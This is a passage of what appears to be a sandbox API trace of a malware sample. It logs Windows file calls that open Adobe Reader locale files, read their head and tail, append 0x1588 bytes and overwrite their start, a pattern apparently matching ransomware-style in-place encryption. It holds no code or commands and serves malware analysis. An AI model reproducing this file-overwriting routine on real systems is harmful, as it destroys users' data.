lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x13400 [0038.210] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.211] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x13400 [0038.211] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.211] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0038.211] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613c48*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.211] CloseHandle (hObject=0x1ac) returned 1 [0038.211] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.212] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0038.212] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x8fdd [0038.212] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0038.212] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.212] ReleaseMutex (hMutex=0x128) returned 1 [0038.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0038.212] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.214] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x7fdd [0038.214] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.214] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x7fdd [0038.214] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.215] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0038.215] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613c48*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.215] CloseHandle (hObject=0x1ac) returned 1 [0038.215] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Checkers.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\checkers.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.291] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.291] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x15e00 [0039.291] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.291] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.291] ReleaseMutex (hMutex=0x128) returned 1 [0039.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.291] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.JPN", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.JPN", lpUsedDefaultChar=0x0) returned 12 [0039.291] ReadFile (in: hFile=0x1a8, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.294] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x14e00 [0039.294] ReadFile (in: hFile=0x1a8, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.313] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x14e00 [0039.313] WriteFile (in: hFile=0x1a8, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.313] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.313] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.314] CloseHandle (hObject=0x1a8) returned 1 [0039.314] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\RdLang32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\rdlang32.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.314] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.314] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xf8e00 [0039.314] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.314] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.314] ReleaseMutex (hMutex=0x128) returned 1 [0039.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.JPN", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.JPN", lpUsedDefaultChar=0x0) returned 12 [0039.314] ReadFile (in: hFile=0x1a8, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0039.345] ReadFile (in: hFile=0x1a8, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.347] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xf7e00 [0039.347] ReadFile (in: hFile=0x1a8, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.363] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xf7e00 [0039.363] WriteFile (in: hFile=0x1a8, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.364] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.364] WriteFile (in: hFile=0x1a8, lpBuffer=0x27c7b68*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27c7b68*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0039.364] WriteFile (in: hFile=0x1a8, lpBuffer=0x27c7b68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27c7b68*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.364] CloseHandle (hObject=0x1a8) returned 1 [0039.364] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Weblink.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\weblink.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.365] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.365] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x5600 [0039.365] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.365] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.365] ReleaseMutex (hMutex=0x128) returned 1 [0039.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.JPN", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.JPN", lpUsedDefaultChar=0x0) returned 11 [0039.365] ReadFile (in: hFile=0x1a8, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.387] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x4600 [0039.387] ReadFile (in: hFile=0x1a8, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.439] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x4600 [0039.439] WriteFile (in: hFile=0x1a8, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.443] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.443] WriteFile (in: hFile=0x1a8, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.443] CloseHandle (hObject=0x1a8) returned 1 [0039.444] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\EScript.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\escript.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.446] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.446] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x7e00 [0039.447] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.447] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.447] ReleaseMutex (hMutex=0x128) returned 1 [0039.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.KOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.KOR", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.KOR", lpUsedDefaultChar=0x0) returned 11 [0039.447] ReadFile (in: hFile=0x1a8, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.457] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6e00 [0039.457] ReadFile (in: hFile=0x1a8, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.465] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6e00 [0039.465] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.465] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.466] WriteFile (in: hFile=0x1a8, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.466] CloseHandle (hObject=0x1a8) returned 1 [0039.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Search.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\search.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.466] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.466] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4200 [0039.466] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.466] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.466] ReleaseMutex (hMutex=0x128) returned 1 [0039.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.KOR", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.KOR", lpUsedDefaultChar=0x0) returned 10 [0039.466] ReadFile (in: hFile=0x1a8, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.474] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3200 [0039.474] ReadFile (in: hFile=0x1a8, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.485] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3200 [0039.485] WriteFile (in: hFile=0x1a8, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.486] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.486] WriteFile (in: hFile=0x1a8, lpBuffer=0x2769058*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2769058*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.486] CloseHandle (hObject=0x1a8) returned 1 [0039.486] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Annots.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\annots.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.486] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.486] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x75c00 [0039.486] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.486] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.486] ReleaseMutex (hMutex=0x128) returned 1 [0039.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.NOR", cchWideChar=10, lpMultiByteStr=0x1e6322c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.NOR", lpUsedDefaultChar=0x0) returned 10 [0039.487] ReadFile (in: hFile=0x1a8, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.494] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x74c00 [0039.494] ReadFile (in: hFile=0x1a8, lpBuffer=0x2768028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2768028*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.499] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x74c00 [0039.499] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.500] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0039.500] WriteFile (in: hFile=0x1a8, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.500] CloseHandle (hObject=0x1a8) returned 1 [0039.509] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\pddom.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\pddom.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0039.509] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0039.509] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: 